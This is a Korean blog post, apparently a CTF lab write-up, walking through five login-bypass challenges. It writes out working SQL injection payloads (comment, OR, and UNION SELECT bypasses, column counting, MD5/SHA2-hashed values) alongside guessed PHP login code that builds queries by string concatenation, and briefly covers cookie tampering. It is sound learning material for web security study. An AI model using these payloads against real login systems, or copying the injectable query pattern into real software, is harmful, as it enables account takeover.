5. Login Bypass 1
normaltic1으로 로그인하는 것이 목표인 문제인듯 하다.
어디서 본듯한 로그인 창이다. 처음 제공받은 ID: doldol, PW: dol1234로 로그인을 해보겠다.
저번처럼 쿠키를 이용한 방식은 아닌듯 하다. 보통 로그인 정보는 DB에 보관하니, 혹시 로그인 창에서 SQL Injection이 가능한지 시도해보겠다.
ID에 `doldol' and '1'='1`을 적어, SQL Injection이 가능한지 판별한다. 만약 불가능하다면 로그인이 되지 않고, 가능하다면 로그인이 될 것이다.
로그인이 됐다. SQL Injection이 먹힌다는 것을 알 수 있다.
로그인 로직은 여러가지 다양한 방법으로 구현할 수 있는데, 그 중 가장 단순한 방법으로 생각해보겠다.
$id = $_POST['id'];
$pw = $_POST['pw'];
$sql = "SELECT * FROM member WHERE id='{$id}' and pw='{$pw}'";
테이블명은 `member`, id와 pw에 관한 칼럼명은 `id`, `pw`로 가정했다.
만약 이런 식으로 SQL문이 작성돼있다면 SQL Injection 코드는 다음과 같이 짤 수 있다.
ID: normaltic1' #
이 값이 ID에 들어간다면 SQL문은 다음과 같이 완성될 것이다.
SELECT * FROM member WHERE id='normaltic1' #' and pw='aaaa'
# 이후부터는 주석 처리되어 id만을 가지고 로그인을 할 수 있게 된다.
안 된다. 내가 생각한 SQL문이 아닌 것이다.
그렇다면 SQL문이 이렇게 작성돼있을 수도 있다.
// 위와 동일
$sql = "SELECT * FROM member WHERE id='{$id}' \n and pw='{$pw}'";
SQL문이 이렇게 작성돼 있으면 아까 시도했던 SQLi는 이런 식으로 들어간다.
SELECT * FROM member WHERE id='normaltic1' #'
and pw='f'
개행이 되어있어 비밀번호 검사를 무시할 수 없는 것이다.
이런 식으로 개행이 들어가있게 된다면 다른 방식으로 SQLi를 진행할 수 있다.
SQLi 1
ID: normaltic1' or '1'='1
이 SQLi를 이용하면 SQL문은 이렇게 된다.
SELECT * FROM member WHERE id='normaltic1' or '1'='1'
and pw='f'
`'1'='1' and pw='f'`의 결과는 항상 False일 것이다. 그럼 `id='normaltic1' or False`가 되어, `id`가 `normaltic1`일 때 True가 되기 때문에 비밀번호 검증 없이 `id`가 `normaltic1`인 계정으로 로그인할 수 있다.
SQLi 2
ID: normaltic1' /*
PW: */ #
이 방식을 이용하면 SQL문은 이렇게 된다.
SELECT * FROM member WHERE id='normaltic1' /*
and pw='*/ #'
비밀번호 검사 부분을 전부 주석처리하는 방법이다. `/* */`를 이용하면 여러줄을 주석처리할 수 있다는 점을 이용한 것이다.
이 중 첫번째 방식으로 SQLi를 진행해보겠다.
SQLi가 성공적으로 진행됐다.
이러면 아마 php 코드는
$id = $_POST['id'];
$pw = $_POST['pw'];
$sql = "SELECT * FROM member WHERE id='{$id}' \n and pw='{$pw}'";
이런 식으로 작성돼 있었을 것이다.
6. Login Bypass 2
아까와 같은 방식인 것 같다.
바로 SQLi가 가능한지 확인해보겠다.(패킷 송수신 과정에서는 취약점을 발견하지 못했다)
SQLi가 가능한 것을 확인했다.
아까와 같은 방식으로 로그인 로직이
$id = $_POST['id']
$pw = $_POST['pw']
$sql = "SELECT * FROM member WHERE id='{$id}' and pw='{$pw}'"
인 것으로 가정하고 가장 기본적인 SQLi를 시도해보겠다.
?
7. Login Bypass 3
또 똑같은 패턴이다.
이번엔 `normaltic3' #`에 뚫리지 않길 바란다.
이번엔 실패했다.
그렇다면 Login Bypass 1에서 시도했던 것처럼 `normaltic3' or '1'='1`로 시도해보겠다.
이번엔 그리 호락호락하지 않은 문제인듯 하다.
Login Bypass 1과 2에서 보여주진 않았지만, 사실 두 문제에서는 비밀번호 입력창에서도 SQLi이 가능했다.
비밀번호 입력창에서의 SQLi 가능 여부 또한 다음과 같은 입력으로 확인할 수 있다.
ID: doldol
PW: dol1234' and '1'='1
로그인이 안 되는 것을 보면 비밀번호 입력창에서는 SQLi이 안 된다.
그럼 혹시, ID 입력 창에서도 안 되는건 아닐까?
다행히 ID 입력창에서는 SQLi이 가능하다.
ID 입력창에서는 되는데 PW 입력창에서는 안 된다.. 그렇다면 로그인 로직이 이런 식으로 돼있을 수 있다고 생각할 수 있다.
$id = $_POST['id'];
$pw = $_POST['pw'];
$sql = "SELECT pw FROM member WHERE id='{$id}'";
$result = $db_conn->query($sql);
$row = $result->fetch_array();
if($row['pw'] == $pw) {
// Login Success
} else {
// Login Fail
}
4번째 줄에서 `pw`만을 SELECT한다고 예상했지만, 그에 대한 근거는 아직 없다. `pw` 말고도 다른 칼럼 또한 가져올 수도 있다.
이렇게 ID와 PW를 따로, 즉, 식별과 인증을 분리해서 하는 경우에도 SQLi이 가능하다.
' UNION SELECT 'blah
이 SQLi가 들어가면 SQL문은 다음과 같이 된다.
SELECT pw FROM member WHERE id='' UNION SELECT 'blah'
이 SQL문에 대해 설명하기 전, 정상적으로 작동했을 때의 동작 과정을 먼저 살펴보겠다.
ID: doldol, PW: dol1234로 로그인을 한다면 `SELECT pass FROM member WHERE id='doldol'`을 통해 다음과 같은 테이블이 불러와졌을 것이다.
pw |
dol1234 |
그럼 이 안에 있는 pass 값, `dol1234`를 사용자 입력 `dol1234`와 비교하여 로그인이 정상적으로 처리된다.
그럼 다음과 같은 SQL문이 실행된다면 어떻게 될까?
SELECT pw FROM member WHERE id='doldol' UNION SELECT 'blah'
pw |
dol1234 |
blah |
이렇게 되어도 일단 가장 위에 있는 값인 `dol1234`로 비교할 것이다. 그럼 `dol1234`를 없애보자. 그러기 위해서는 SQL문에서 id에 없는 값을 넣으면 된다. 그게 바로 아까 소개한 SQL문이다.
SELECT pw FROM member WHERE id='' UNION SELECT 'blah'
pw |
blah |
이렇게 되면 `blah`라는 값과 사용자 입력을 비교할 것이다. 즉, SQLi를 이런 식으로 작성하면 된다.
ID: ' UNION SELECT 'blah
PW: blah
실패다.
하지만 간과한 것이 하나 있다.
아까 말했듯이 실제로 어떠한 칼럼을, 몇 개의 칼럼을 가져오는지 모른다.
만약 칼럼의 수가 안 맞는다면 쿼리가 실패하게 되어 로그인도 실패하게 된다.
이를 이용해 칼럼의 수를 알아낼 수 있다.
ID: doldol' UNION SELECT 1,2,3,4,5 #
PW: dol1234
1,2,3,4,5 -> 1,2,3,4 -> 1,2,3 -> 1,2 -> 1 이런 식으로 개수를 줄여가면서 로그인이 되는 점을 찾는다.
이런 식으로 하다가
1, 2에서 로그인이 되는 것을 확인할 수 있다.
즉, 가져오는 칼럼의 수가 두 개라는 것이다.
?? | pw |
?? | dol1234 |
상식적으로 생각하면 나머지 하나의 칼럼은 아마 id일 것이다.
id | pw |
normaltic3 | blah |
그럼 이러한 테이블을 가져오도록 하면 된다. 아까 UNION을 이용한 것처럼 하면 된다.
ID: ' UNION SELECT 'normaltic3','blah
PW: blah
사실 난 처음에 이 방법을 전혀 몰랐어서 다른 방법으로 풀었다. 그 다른 방법은 글을 따로 작성하겠다.(엄청 먼 길을 돌아가는 방식이다)
8. Login Bypass 4
여러가지 시도해보면, Login Bypass 3와 같이 식별 / 인증을 분리해서 한다는 것을 알 수 있다.
그럼 아까와 같이 이 SQLi를 시도해보자.
ID: ' UNION SELECT 'normaltic4','blah
PW: blah
흠... 내가 생각한 로직이 아닌가 싶어 다음의 SQLi를 써본다.
ID: ' UNION SELECT 'doldol','dol1234
PW: dol1234
id | pw |
doldol | dol1234 |
이 테이블이 안 먹힌 것이다.
혹은 칼럼의 순서가 틀렸을 수도 있다.
pw | id |
dol1234 | doldol |
확실히 칼럼의 수는 2개다.(아까처럼 해보면 2개인 것을 알 수 있다)
그렇다면 비밀번호를 평문으로 저장하지 않았을 가능성을 생각해볼 수 있다.
$id = $_POST['id'];
$pw = $_POST['pw'];
$sql = "SELECT id,pw FROM member WHERE id='{$id}'";
$result = $db_conn->query($sql);
$row = $result->fetch_array();
if(md5($row['pw']) === $pw) {
// Login Success
} else {
// Login Fail
}
로그인 로직이 이렇게 되어있다면 UNION을 통해 자신이 임의로 쓸 비밀번호를 암호화할 필요가 있다.
직접 암호화해서 해볼 수도 있지만 SQL은 기본적으로 Hash 함수를 제공한다. 따라서 SQLi를 이렇게 작성해볼 수 있다.
ID: ' UNION SELECT 'normaltic4',MD5('blah') #
PW: blah
ID: ' UNION SELECT 'normaltic4',SHA2('blah') #
PW: blah
어떤 방식으로 암호화됐는지 모르니 여러가지로 시도해봐야 한다.
또한, 아까 위에서 의심했던 것처럼 id와 pw의 순서가 바뀌었을 수도 있다는 점을 의심해야한다.
다행히도 그렇게 꽁꽁 숨겨져 있진 않았다.
9. Login Bypass 5
만약 Burp Suite로 패킷 송수신 과정부터 꼼꼼하게 살펴보는 습관이 있다면 이 문제는 굉장히 쉽게 풀 수 있다.
옛날옛적 문제처럼 또 `Set-Cookie`를 이용해 쿠키를 지정해준다.
이번에도 쿠키 변조를 시도해보겠다.
굉장히 쉽게 Flag를 따낼 수 있다.
'Study > with normaltic' 카테고리의 다른 글
SegFault CTF - 5주차 - 번외 (0) | 2025.05.07 |
---|---|
SegFault CTF - 5주차 - 1 (0) | 2025.05.06 |
SegFault CTF - 4주차 (0) | 2025.04.24 |
로그인 유지: 쿠키 & 세션 (0) | 2025.04.23 |
PHP와 MySQL (0) | 2025.04.16 |